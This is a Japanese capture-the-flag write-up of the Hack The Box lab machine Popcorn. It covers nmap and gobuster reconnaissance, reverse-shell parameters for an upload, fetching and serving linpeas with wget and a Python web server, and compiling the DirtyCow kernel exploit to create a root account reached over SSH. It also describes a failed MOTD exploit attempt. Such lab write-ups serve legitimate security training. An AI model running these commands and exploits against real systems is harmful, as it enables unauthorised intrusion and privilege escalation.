偵察/スキャン
まずはnmapによる調査を行います。
ports=$(nmap -p- -P0 -T4 10.10.10.6 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -v -P0 -p$ports 10.10.10.6
TCP22及びTCP80が開いていることがわかります。
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Warning: The -P0 option is deprecated. Please use -Pn
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-20 22:55 JST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 22:55
Completed Parallel DNS resolution of 1 host. at 22:55, 0.02s elapsed
Initiating Connect Scan at 22:55
Scanning 10.10.10.6 [2 ports]
Discovered open port 80/tcp on 10.10.10.6
Discovered open port 22/tcp on 10.10.10.6
Completed Connect Scan at 22:55, 0.20s elapsed (2 total ports)
Initiating Service scan at 22:55
Scanning 2 services on 10.10.10.6
Completed Service scan at 22:55, 6.70s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.6.
Initiating NSE at 22:55
Completed NSE at 22:55, 5.31s elapsed
Initiating NSE at 22:55
Completed NSE at 22:55, 0.80s elapsed
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Nmap scan report for 10.10.10.6
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
|_ 2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
80/tcp open http Apache httpd 2.2.12 *1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.87 seconds
次にhttp://10.10.10.6にアクセスしてみます。
さらにWebサービスに情報がないか、Webコンテンツスキャナーの「gobuster」で調査を行います。(TA0009: Collection)
gobuster dir -u http://10.10.10.6 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -k -o popcorn.gobuster
補足:gobusterの説明
「dir」はコマンドの指定です。
dirモードは、対象ドメインのコンテンツを検索するために使用されます。
(隠しディレクトリとファイルも含まれます。)
dirモードでは、フラグ「-u」を使用してブルートフォースするドメインまたはサブドメインを指定し、「-w」を使用して使用するワードリストを指定できます。
また、-tはスレッド数を指定できます。(Number of concurrent threads (default 10))
その他のオプションで「-k」は「--no-tls-validation Skip TLS certificate verification」、「-o」は出力結果のファイル保存です。
なお、実行中に「context deadline exceeded 」のようなエラーが表示される場合は「-t」の値を小さく設定することでエラーを抑止できる場合があります。
「gobuster」の実行結果より、以下のサイトが公開されていることがわかります。
アクセスの取得
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
権限昇格
特徴として、重要そうな部分が赤字で強調されたり、Pythonがない環境でも実行できたりする等の利点があります。
wget "https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh"
python3 -m http.server 80
※ちなみにunameでも上記情報は確認できます。
当該のバージョンでは「DirtyCow」という権限昇格の脆弱性があるようです。
上図赤枠より、攻撃モジュールをダウンロードし、Popcorn上でコンパイル及び実行します。
kali側Popcorn側$ gcc -pthread 40839.c -o dirty -lcrypt
$ ls
$ ./dirty
Please enter the new password: aaa
再度kali側
$ ssh firefart@10.10.10.6
firefart@10.10.10.6's password:
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
System information as of Fri May 28 09:44:11 EEST 2021
System load: 1.77 Memory usage: 11% Processes: 117
Usage of /: 7.9% of 14.80GB Swap usage: 0% Users logged in: 0
Graph this data and manage this system at https://landscape.canonical.com/
Last login: Tue Oct 27 11:08:55 2020
firefart@popcorn:~#
ログインは管理者権限のあるユーザでログインできます。
ここまででフラグを取得できます。
権限昇格失敗(MOTD)
motd (Message Of The Day) の脆弱性から権限昇格を行う手法があったので試してみました。
なお、私の環境では失敗で終わりました。
Linuxの特権昇格のパターンは以下のものがあります。
Privilege Escalation
- Exploiting services running as root/root として実行されているサービスの悪用
- Exploiting SUID executables/SUID 実行可能ファイルの悪用
- Exploiting SUDO rights/user/SUDO の権利/ユーザーの悪用
- Exploiting badly configured cron jobs/不適切に構成された cron ジョブの悪用
- Exploiting users with "." in their path/「.」によるユーザーの悪用 彼らの道に
- Kernel Exploits/カーネルエクスプロイト
上記の「1」にある内容で、MOTDを攻撃します。
[+] World Writable Files
-rw-rw-rw- 1 root root 165 Oct 8 07:58 /var/run/motd
CTF-writeups/popcorn.md at master · Bengman/CTF-writeups · GitHub
searchsploit motd
上記で表示されたコードの内、14339を使用します。
なお、そのままではpopcorn上では実行エラーとなったので以下のコードで変換をしてからpopcornに渡します。
┌──(kali㉿kali)-[~]
└─$ dos2unix 14339a.sh
dos2unix: ファイル 14339a.sh を Unix 形式へ変換しています。
また、popcorn上で以下を実行してからアップロードしたシェルを実行しました。
python -c 'import pty;pty.spawn("/bin/bash")'
結果としてはパスワードを求められ、それがわからず失敗となりました。
参考にさせていただいたサイト
貴重な情報をありがとうございます。
トレーニングコンテンツ:「Hack The Box」を触り始めてみた: NECセキュリティブログ | NEC
Enterprise Tactics - attack-mitre-japan
【Hack the Box】Popcorn - Write Up - Qiita
【Hack the Box write-up】Popcorn | さんぽしの散歩記
【TryHackMe write-up】Skynet | さんぽしの散歩記
Hack the Box (HTB) machines walkthrough series — Popcorn - Infosec Resources
*1:Ubuntu